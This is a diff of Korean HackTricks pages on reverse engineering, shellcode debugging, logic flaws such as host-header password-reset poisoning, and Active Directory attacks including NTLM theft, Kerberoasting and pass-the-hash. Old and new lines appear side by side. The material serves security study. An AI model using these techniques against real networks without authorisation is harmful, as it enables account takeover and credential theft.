### [ILSpy](https://github.com/icsharpcode/ILSpy) [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code용 ILSpy 플러그인](https://github.com/icsharpcode/ilspy-vscode): 모든 OS에서 사용할 수 있습니다 (VSCode에서 직접 설치할 수 있으며, git을 다운로드할 필요가 없습니다. **Extensions**를 클릭하고 **ILSpy**를 검색하세요).\
**디컴파일**, **수정****다시 컴파일**해야 하는 경우 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 또는 그 활발히 유지 관리되는 포크인 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)를 사용할 수 있습니다. (**우클릭 -> 메서드 수정**하여 함수 내부의 내용을 변경합니다).
@ -80,7 +80,7 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
이것은 필요합니다. 왜냐하면 이렇게 하지 않으면 **runtime**에서 여러 **optimisations**가 코드에 적용되어 **break-point가 결코 도달되지 않거나** 일부 **변수가 존재하지 않을 수 있기 때문입니다**.
그런 다음, .NET 애플리케이션이 **IIS**에 의해 **실행되고** 있다면 다음과 같이 **재시작**할 수 있습니다:
그런 다음, .NET 애플리케이션이 **IIS**에 의해 **실행**되고 있다면 다음과 같이 **재시작**할 수 있습니다:
```
iisreset /noforce
```
@ -125,7 +125,7 @@ iisreset /noforce
![](<../../images/image (704).png>)
그런 다음 디버깅을 시작하면 **각 DLL이 로드될 때 실행이 중지**됩니다. 그런 다음 rundll32가 DLL을 로드하면 실행이 중지됩니다.
그런 다음 디버깅을 시작하면 **각 DLL이 로드될 때 실행이 중지**되고, rundll32가 DLL을 로드할 때 실행이 중지됩니다.
하지만 로드된 DLL의 코드에 어떻게 접근할 수 있을까요? 이 방법을 사용하면 잘 모르겠습니다.
@ -133,14 +133,14 @@ iisreset /noforce
- **rundll32 로드** (64비트는 C:\Windows\System32\rundll32.exe, 32비트는 C:\Windows\SysWOW64\rundll32.exe)
- **명령줄 변경** (_File --> Change Command Line_) 및 DLL 경로와 호출할 함수를 설정합니다. 예: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- _Options --> Settings_에서 "**DLL Entry**" 선택합니다.
- 그런 다음 **실행 시작**하면 디버거가 각 DLL 메인에서 중지되며, 어느 시점에서 **당신의 DLL의 DLL Entry에서 중지**됩니다. 거기서 중단점을 설정하고 싶은 지점을 검색하면 됩니다.
- _Options --> Settings_에서 "**DLL Entry**" 선택.
- 그런 다음 **실행 시작**, 디버거는 각 DLL 메인에서 중지되며, 어느 시점에서 **당신의 DLL의 DLL Entry에서 중지**됩니다. 거기서 중단점을 설정할 위치를 검색하면 됩니다.
실행이 어떤 이유로 win64dbg에서 중지되면 **어떤 코드에 있는지** win64dbg 창의 **상단**에서 확인할 수 있습니다:
![](<../../images/image (842).png>)
그런 다음 이 정보를 통해 디버깅하려는 DLL에서 실행이 중지된 시점을 확인할 수 있습니다.
그런 다음, 이 정보를 통해 디버깅하려는 DLL에서 실행이 중지된 시점을 확인할 수 있습니다.
## GUI 앱 / 비디오 게임
@ -156,14 +156,16 @@ cheat-engine.md
## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %}
{{#ref}}
https://github.com/nongiach/arm_now
{{#endref}}
## 쉘코드
### blobrunner로 쉘코드 디버깅
[**Blobrunner**](https://github.com/OALabs/BlobRunner)는 **쉘코드**를 메모리 공간에 **할당**하고, 쉘코드가 할당된 **메모리 주소**를 **지시**하며 실행을 **중지**합니다.\
그런 다음 프로세스에 **디버거**(Ida 또는 x64dbg)를 연결하고 **지정된 메모리 주소에 중단점**을 설정한 후 실행을 **재개**해야 합니다. 이렇게 하면 쉘코드를 디버깅할 수 있습니다.
그런 다음, 프로세스에 **디버거**(Ida 또는 x64dbg)를 연결하고 **지정된 메모리 주소에 중단점**을 설정한 후 **실행을 재개**해야 합니다. 이렇게 하면 쉘코드를 디버깅할 수 있습니다.
릴리스 github 페이지에는 컴파일된 릴리스를 포함하는 zip 파일이 있습니다: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
다음 링크에서 Blobrunner의 약간 수정된 버전을 찾을 수 있습니다. 컴파일하려면 **Visual Studio Code에서 C/C++ 프로젝트를 생성하고 코드를 복사하여 붙여넣고 빌드**하면 됩니다.
@ -174,7 +176,7 @@ blobrunner.md
### jmp2it로 쉘코드 디버깅
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)는 blobrunner와 매우 유사합니다. **쉘코드**를 메모리 공간에 **할당**하고 **영원한 루프**를 시작합니다. 그런 다음 프로세스에 **디버거를 연결**하고, **시작을 누른 후 2-5초 기다렸다가 중지**를 누르면 **영원한 루프** 안에 있게 됩니다. 영원한 루프의 다음 명령으로 점프하면 쉘코드 호출이 이루어지고, 결국 쉘코드를 실행하게 됩니다.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)는 blobrunner와 매우 유사합니다. **쉘코드**를 메모리 공간에 **할당**하고 **영원한 루프**를 시작합니다. 그런 다음 프로세스에 **디버거를 연결**하고, **시작을 누르고 2-5초 기다린 후 중지**를 누르면 **영원한 루프** 안에 있게 됩니다. 영원한 루프의 다음 명령으로 점프하면 쉘코드 호출이 이루어지고, 결국 쉘코드를 실행하게 됩니다.
![](<../../images/image (509).png>)
@ -182,7 +184,7 @@ blobrunner.md
### Cutter를 사용한 쉘코드 디버깅
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)는 radare의 GUI입니다. Cutter를 사용하면 쉘코드를 에뮬레이하고 동적으로 검사할 수 있습니다.
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)는 radare의 GUI입니다. Cutter를 사용하면 쉘코드를 에뮬레이하고 동적으로 검사할 수 있습니다.
Cutter는 "파일 열기"와 "쉘코드 열기"를 허용합니다. 제 경우에는 쉘코드를 파일로 열었을 때 올바르게 디컴파일되었지만, 쉘코드로 열었을 때는 그렇지 않았습니다:
@ -194,7 +196,7 @@ Cutter는 "파일 열기"와 "쉘코드 열기"를 허용합니다. 제 경우
![](<../../images/image (387).png>)
예를 들어 헥스 덤프 내에서 스택을 확인할 수 있습니다:
예를 들어, 헥스 덤프 내에서 스택을 확인할 수 있습니다:
![](<../../images/image (186).png>)
@ -214,9 +216,9 @@ scDbg는 선택한 옵션을 선택하고 shellcode를 실행할 수 있는 그
![](<../../images/image (258).png>)
**Create Dump** 옵션은 메모리에서 shellcode에 동적으로 변경이 이루어질 경우 최종 shellcode를 덤프합니다(디코딩된 shellcode를 다운로드하는 데 유용합니다). **start offset**은 특정 오프셋에서 shellcode를 시작하는 데 유용할 수 있습니다. **Debug Shell** 옵션은 scDbg 터미널을 사용하여 shellcode를 디버깅하는 데 유용하지만, 이 문제에 대해서는 이전에 설명한 옵션들이 더 나은 것 같습니다. 왜냐하면 Ida나 x64dbg를 사용할 수 있기 때문입니다.
**Create Dump** 옵션은 메모리에서 shellcode에 동적으로 변경이 이루어질 경우 최종 shellcode를 덤프합니다(디코딩된 shellcode를 다운로드하는 데 유용합니다). **start offset**은 특정 오프셋에서 shellcode를 시작하는 데 유용할 수 있습니다. **Debug Shell** 옵션은 scDbg 터미널을 사용하여 shellcode를 디버깅하는 데 유용합니다(하지만 이 문제에 대해서는 이전에 설명한 옵션이 더 좋다고 생각합니다. Ida 또는 x64dbg를 사용할 수 있기 때문입니다).
### CyberChef를 사용한 역어셈블
### CyberChef를 사용한 역어셈블
shellcode 파일을 입력으로 업로드하고 다음 레시피를 사용하여 디컴파일합니다: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
@ -242,8 +244,8 @@ apt-get install libz3-dev
![](<../../images/image (1080).png>)
이 경우 바이너리 이름 authenticator였으므로, 이것이 흥미로운 메인 함수라는 것은 분명합니다.\
호출되는 **함수**의 **이름**을 가지고, 그들의 **입력**과 **출력**에 대해 배우기 위해 **인터넷**에서 검색하세요.
이 경우 바이너리 이름 authenticator였으므로, 이것이 흥미로운 메인 함수라는 것은 분명합니다.\
호출되는 **함수**의 **이름**을 가지고, **인터넷**에서 검색하여 그들의 **입력**과 **출력**에 대해 알아보세요.
## **Delphi**
@ -253,7 +255,7 @@ Delphi 바이너리를 리버스해야 한다면 IDA 플러그인 [https://githu
**ATL+f7**를 눌러 (IDA에서 파이썬 플러그인 가져오기) 파이썬 플러그인을 선택하세요.
이 플러그인은 바이너리를 실행하고 디버깅 시작 시 함수 이름을 동적으로 해결합니다. 디버깅을 시작한 후 다시 시작 버튼(녹색 버튼 또는 f9)을 누르면 실제 코드의 시작 부분에서 중단점이 걸립니다.
이 플러그인은 바이너리를 실행하고 디버깅 시작 시 함수 이름을 동적으로 해결합니다. 디버깅을 시작한 후 다시 시작 버튼(녹색 버튼 또는 f9)을 누르면 실제 코드의 시작 부분에서 중단점이 발생합니다.
그래픽 애플리케이션에서 버튼을 누르면 디버거가 해당 버튼에 의해 실행된 함수에서 중단됩니다.
@ -275,14 +277,14 @@ Golang 바이너리를 리버스해야 한다면 IDA 플러그인 [https://githu
## GBA - 게임 바디 어드밴스
GBA 게임의 **바이너리**를 얻으면 다양한 도구를 사용하여 **에뮬레이트**하고 **디버**할 수 있습니다:
GBA 게임의 **바이너리**를 얻으면 다양한 도구를 사용하여 **에뮬레이트**하고 **디버**할 수 있습니다:
- [**no$gba**](https://problemkaputt.de/gba.htm) (_디버그 버전 다운로드_) - 인터페이스가 있는 디버거 포함
- [**mgba** ](https://mgba.io) - CLI 디버거 포함
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra 플러그인
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra 플러그인
[**no$gba**](https://problemkaputt.de/gba.htm)에서, _**Options --> Emulation Setup --> Controls**_\*\* \*\*를 통해 게임 보이 어드밴스 **버튼**을 누르는 방법을 수 있습니다.
[**no$gba**](https://problemkaputt.de/gba.htm)에서 _**Options --> Emulation Setup --> Controls**_\*\* \*\*를 통해 게임 보이 어드밴스 **버튼**을 누르는 방법을 확인할 수 있습니다.
![](<../../images/image (581).png>)
@ -372,7 +374,7 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
- 그 다음, **값 8** (**START** 버튼)과 비교됩니다: 이 버튼은 코드가 플래그를 얻기 위한 유효한지 확인합니다.
- 이 경우 **`DAT_030000d8`** 변수가 0xf3과 비교되며, 값이 같으면 일부 코드가 실행됩니다.
- 다른 경우에는 일부 cont (`DAT_030000d4`)가 확인됩니다. 이는 코드에 들어간 직후 1을 더하기 때문에 cont입니다.\
**8보다 작으면** **`DAT_030000d8`**에 값을 **더하는** 작업이 수행됩니다 (기본적으로 cont가 8보다 작을 때 이 변수에 눌린 키의 값을 더하고 있습니다).
**8보다 작으면** **`DAT_030000d8`**에 값을 **더하는** 작업이 수행됩니다 (기본적으로 cont가 8보다 작을 때 눌린 키의 값을 이 변수에 더하는 것입니다).
따라서 이 도전에서 버튼의 값을 알고 있다면, **결과적으로 더한 값이 0xf3이 되도록 길이가 8보다 작은 조합을 눌러야 했습니다.**
@ -380,7 +382,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
{{#ref}}
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## Courses

4
src/robots.txt Normal file
View File

@ -0,0 +1,4 @@
Sitemap: https://www.hacktricks.wiki/sitemap.xml
User-agent: *
Disallow:

View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

View File

@ -4,13 +4,15 @@
- **간단한 목록:** 각 줄에 항목이 포함된 목록
- **런타임 파일:** 런타임에 읽는 목록(메모리에 로드되지 않음). 큰 목록을 지원하기 위해.
- **대소문자 수정:** 문자열 목록에 일부 변경 적용(변경 없음, 소문자, 대문자, 고유명사 - 첫 글자 대문자 및 나머지 소문자-, 고유명사 - 첫 글자 대문자 및 나머지는 그대로-).
- **대소문자 수정:** 문자열 목록에 일부 변경 적용(변경 없음, 소문자, 대문자, 고유명사 - 첫 글자 대문자, 나머지는 소문자 -, 고유명사 - 첫 글자 대문자, 나머지는 동일 유지 -).
- **숫자:** Z 단계 또는 무작위로 X에서 Y까지 숫자 생성.
- **브루트 포:** 문자 집합, 최소 및 최대 길이.
- **브루트 포:** 문자 집합, 최소 및 최대 길이.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : DNS 요청을 통해 burpcollab에 명령을 실행하고 출력을 가져오는 페이로드.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

View File

@ -7,12 +7,12 @@
여러 번 백엔드는 **호스트 헤더**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면, 사용되는 도메인은 호스트 헤더에 입력한 것입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 당신이 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> 사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수 있습니다**.
> 사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수 있습니다**.
### 세션 불리언
때때로 일부 검증을 올바르게 완료하면 백엔드는 **세션의 보안 속성에 "True" 값을 가진 불리언을 추가합니다**. 그런 다음, 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
그러나 **검사를 통과**하고 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는 다른 리소스에 접근**을 시도할 수 있습니다. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
그러나 **검사를 통과**하고 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는 다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### 등록 기능
@ -20,15 +20,17 @@
### 이메일 인수
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새로운 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.
### Atlassian을 사용하는 회사의 내부 서비스 데스크 접근
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE 메서드
개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면, 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만, 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)

View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@
1. **디렉토리** Active Directory 객체와 관련된 모든 정보를 보관합니다.
2. **객체** 디렉토리 내의 엔티티를 나타내며, **사용자**, **그룹**, 또는 **공유 폴더**를 포함합니다.
3. **도메인** 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있도록 하며, 각 도메인은 자체 객체 모음을 유지합니다.
3. **도메인** 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있며, 각 도메인은 자체 객체 모음을 유지합니다.
4. **트리** 공통 루트 도메인을 공유하는 도메인의 그룹입니다.
5. **포리스트** Active Directory의 조직 구조의 정점으로, 여러 트리로 구성되며 이들 간에 **신뢰 관계**가 있습니다.
@ -66,7 +66,7 @@ AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다
- **네트워크 오염**
- [**Responder로 서비스를 가장하여 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**릴레이 공격을 악용하여 호스트에 접근**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- [**악성 UPnP 서비스 노출로 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**악성 UPnP 서비스를 노출하여 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- 내부 문서, 소셜 미디어, 서비스(주로 웹)에서 사용자 이름/이름을 추출하고 공개적으로 이용 가능한 자료에서도 추출합니다.
- 회사 직원의 전체 이름을 찾으면 다양한 AD **사용자 이름 규칙**을 시도해 볼 수 있습니다 (**[이것을 읽어보세요](https://activedirectorypro.com/active-directory-user-naming-convention/)**). 가장 일반적인 규칙은: _NameSurname_, _Name.Surname_, _NamSur_ (각각 3글자), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _무작위 문자와 3 무작위 숫자_ (abc123)입니다.
@ -105,7 +105,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
> [!WARNING]
> 사용자 이름 목록은 [**이 github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 및 이곳 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))에서 찾을 수 있습니다.
>
> 그러나 이 전에 수행했어야 하는 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성을 가지고 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다.
> 그러나 이 전에 수행했어야 하는 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성을 사용하여 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다.
### 하나 이상의 사용자 이름 알기
@ -131,9 +131,9 @@ password-spraying.md
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTML [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*을 강제로 수행하여 AD 환경에 접근할 수 있을지도 모릅니다.
### NTLM 자격 증명 훔치기
### NTLM 자격 증명 도용
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다 (예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지**를 훔칠 수 있습니다:
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다 (예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지**를 도용할 수 있습니다:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -141,7 +141,7 @@ password-spraying.md
## 자격 증명/세션으로 활성 디렉토리 열거하기
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제시된 옵션이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야** 합니다.
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제시된 옵션은 여전히 다른 사용자를 손상시키는 옵션임을 기억해야 합니다.**
인증된 열거를 시작하기 전에 **Kerberos 더블 홉 문제**가 무엇인지 알아야 합니다.
@ -171,11 +171,11 @@ kerberos-double-hop-problem.md
Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`를 사용할 수 있습니다.
> 이 열거 섹션이 작아 보일 수 있지만, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크에 접근하고 (주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다.
> 이 열거 섹션이 작아 보일지라도, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크에 접근하고 (주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다.
### Kerberoast
Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TGS 티켓**을 고, 그 암호화를 크랙하는 것을 포함합니다—이는 사용자 비밀번호를 기반으로 하며—**오프라인**에서 이루어집니다.
Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TGS 티켓**을 획득하고, 그 암호화를 크랙하는 것을 포함합니다—이는 사용자 비밀번호를 기반으로 하며—**오프라인**에서 이루어집니다.
자세한 내용은:
@ -189,13 +189,13 @@ kerberoast.md
### 로컬 권한 상승
정상 도메인 사용자로서 자격 증명이나 세션을 손상시키고, 이 사용자로 **도메인 내의 어떤 머신에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프**할 수 있기 때문입니다.
정상 도메인 사용자로서 자격 증명이나 세션을 손상시키고, 이 사용자로 **도메인 내의 어떤 머신에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프할 수 있기 때문입니다.**
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/)에 대한 완전한 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
### 현재 세션 티켓
예상치 못한 리소스에 접근할 수 있는 **티켓**을 현재 사용자에서 찾는 것은 매우 **가능성이 낮습니다**, 하지만 확인해 볼 수 있습니다:
예상치 못한 리소스에 접근할 수 있는 **티켓**을 현재 사용자에서 찾는 것은 매우 **가능성이 낮습니다**, 그러나 확인해 볼 수 있습니다:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -242,7 +242,7 @@ printnightmare.md
### 해시 전달
**사용자의 해시를 확보하면**, 이를 사용하여 **사용자를 가장할 수 있습니다.**\
해시를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **sessionlogon**을 생성하고 **LSASS** 내부에 그 **해시를 주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때****해시가 사용됩니다.** 마지막 옵션이 mimikatz가 하는 입니다.\
해시를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **sessionlogon**을 생성하고 **LSASS** 내부에 그 **해시를 주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때****해시가 사용됩니다.** 마지막 옵션이 mimikatz가 하는 입니다.\
[**자세한 정보는 이 페이지를 읽어보세요.**](../ntlm/#pass-the-hash)
### 해시 초과/키 전달
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
### 티켓 전달
**티켓 전달 (PTT)** 공격 방법에서 공격자는 **사용자의 인증 티켓을 훔칩니다**. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어** 네트워크 내의 리소스와 서비스에 대한 무단 접근을 얻습니다.
